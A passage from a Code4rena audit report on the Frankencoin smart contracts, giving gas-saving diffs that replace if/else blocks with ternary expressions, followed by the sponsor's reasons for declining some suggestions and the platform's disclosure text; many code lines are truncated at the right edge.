124:     function clonePosition(address position, uint256 _initia
125:         IPosition existing = IPosition(position);
126:         uint256 limit = existing.reduceLimitForClone(_initia
127:         address pos = POSITION_FACTORY.clonePosition(positic
128:         zchf.registerPosition(pos);
129:         existing.collateral().transferFrom(msg.sender, addre
130:         IPosition(pos).initializeClone(msg.sender, existing.
131:         return address(pos);
132:     }
```

```
diff --git a/contracts/MintingHub.sol b/contracts/MintingHub.sol
index 663b205..c69c0c2 100644
--- a/contracts/MintingHub.sol
+++ b/contracts/MintingHub.sol
@@ -126,9 +126,9 @@ contract MintingHub {
         uint256 limit = existing.reduceLimitForClone(_initialMi
         address pos = POSITION_FACTORY.clonePosition(position);
```

```
        zchf.registerPosition(pos);
-       existing.collateral().transferFrom(msg.sender, address(
+       existing.collateral().transferFrom(msg.sender, pos, _ir
        IPosition(pos).initializeClone(msg.sender, existing.pri
-       return address(pos);
+       return pos;
    }
```

Note: The following have some caveats, we can reduce the deployment size and deployment cost at the expense of execution cost

Shorthand if (We can rewrite the following)

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L204-L213

```
File: /contracts/Frankencoin.sol
204:    function calculateAssignedReserve(uint256 mintedAmount, u
205:        uint256 theoreticalReserve = _reservePPM * mintedAmour
206:        uint256 currentReserve = balanceOf(address(reserve));
207:        if (currentReserve < minterReserve()){
208:            // not enough reserves, owner has to take a loss
209:            return theoreticalReserve * currentReserve / minter
210:        } else {
211:            return theoreticalReserve;
212:        }
213:    }
```

```
diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.s
index e9e87dc..600b805 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -204,12 +204,7 @@ contract Frankencoin is ERC20PermitLight, I
    function calculateAssignedReserve(uint256 mintedAmount, uint
        uint256 theoreticalReserve = _reservePPM * mintedAmount /
        uint256 currentReserve = balanceOf(address(reserve));
-       if (currentReserve < minterReserve()){
-           // not enough reserves, owner has to take a loss
```

```
-         return theoreticalReserve * currentReserve / minterRes
-       } else {
-         return theoreticalReserve;
-       }
+       return currentReserve < minterReserve() ? theoreticalRese
     }
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Frankencoin.sol#L138-L146

```
File: /contracts/Frankencoin.sol
138:    function equity() public view returns (uint256) {
139:       uint256 balance = balanceOf(address(reserve));
140:       uint256 minReserve = minterReserve();
141:       if (balance <= minReserve){
142:         return 0;
143:       } else {
144:         return balance - minReserve;
145:       }
146:     }
```

```
diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.s
index e9e87dc..f9fef16 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -138,11 +138,7 @@ contract Frankencoin is ERC20PermitLight, I
     function equity() public view returns (uint256) {
        uint256 balance = balanceOf(address(reserve));
        uint256 minReserve = minterReserve();
-       if (balance <= minReserve){
-         return 0;
-       } else {
-         return balance - minReserve;
-       }
+       return balance <= minReserve ? 0 : balance - minReserve;
     }
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Pos

ition.sol#L120-L126

```
File: /contracts/Position.sol
120:     function getUsableMint(uint256 totalMint, bool afterFees
121:         if (afterFees){
122:             return totalMint * (1000_000 - reserveContributi
123:         } else {
124:             return totalMint * (1000_000 - reserveContributi
125:         }
126:     }
```

```
diff --git a/contracts/Position.sol b/contracts/Position.sol
index 3e18534..15183e9 100644
--- a/contracts/Position.sol
+++ b/contracts/Position.sol
@@ -118,11 +118,7 @@ contract Position is Ownable, IPosition, Ma
      * to buy reserve pool shares.
      */
     function getUsableMint(uint256 totalMint, bool afterFees) p
-        if (afterFees){
-            return totalMint * (1000_000 - reserveContribution
-        } else {
-            return totalMint * (1000_000 - reserveContribution)
-        }
+        return afterFees? totalMint * (1000_000 - reserveContri
     }
```

https://github.com/code-423n4/2023-04-frankencoin/blob/1022cb106919fba963a89205d3b90bf62543f68f/contracts/Position.sol#L181-L189

```
File: /contracts/Position.sol
181:     function calculateCurrentFee() public view returns (uint

184:         if (time >= exp){
185:             return 0;
186:         } else {
187:             return uint32(mintingFeePPM - mintingFeePPM * (t
188:         }
189:     }
```

```
diff --git a/contracts/Position.sol b/contracts/Position.sol
index 3e18534..9adc148 100644
--- a/contracts/Position.sol
+++ b/contracts/Position.sol
@@ -181,11 +181,7 @@ contract Position is Ownable, IPosition, Ma
     function calculateCurrentFee() public view returns (uint32)
         uint256 exp = expiration;
         uint256 time = block.timestamp;
-        if (time >= exp){
-            return 0;
-        } else {
-            return uint32(mintingFeePPM - mintingFeePPM * (time
-        }
+        return time >= exp ? 0 : uint32(mintingFeePPM - mintinc
     }
```

[luziusmeisser (Frankencoin) confirmed and commented]():

> Went through all of the issues and implemented the recommendations.

> Exceptions:

- **“Frankencoin.sol.suggestMinter(): Result of totalSupply() should be cached here(sad path)“:** Here, totalSupply() is never called during normal operations as the && operator does not evaluate the second part if the first part is already false. So the recommendation would actually increase gas costs.
- **“Frankencoin.sol.suggestMinter(): minters[_minter] should be cached in local storage”:** Second access is not an read, but a write.
- **“Using unchecked blocks to save gas”:** I do not like this optimization as I value concise code higher than saving a little gas here.
- **“shorthand if”:** I usually prefer the longer version to increase readability.

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-

risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.

Top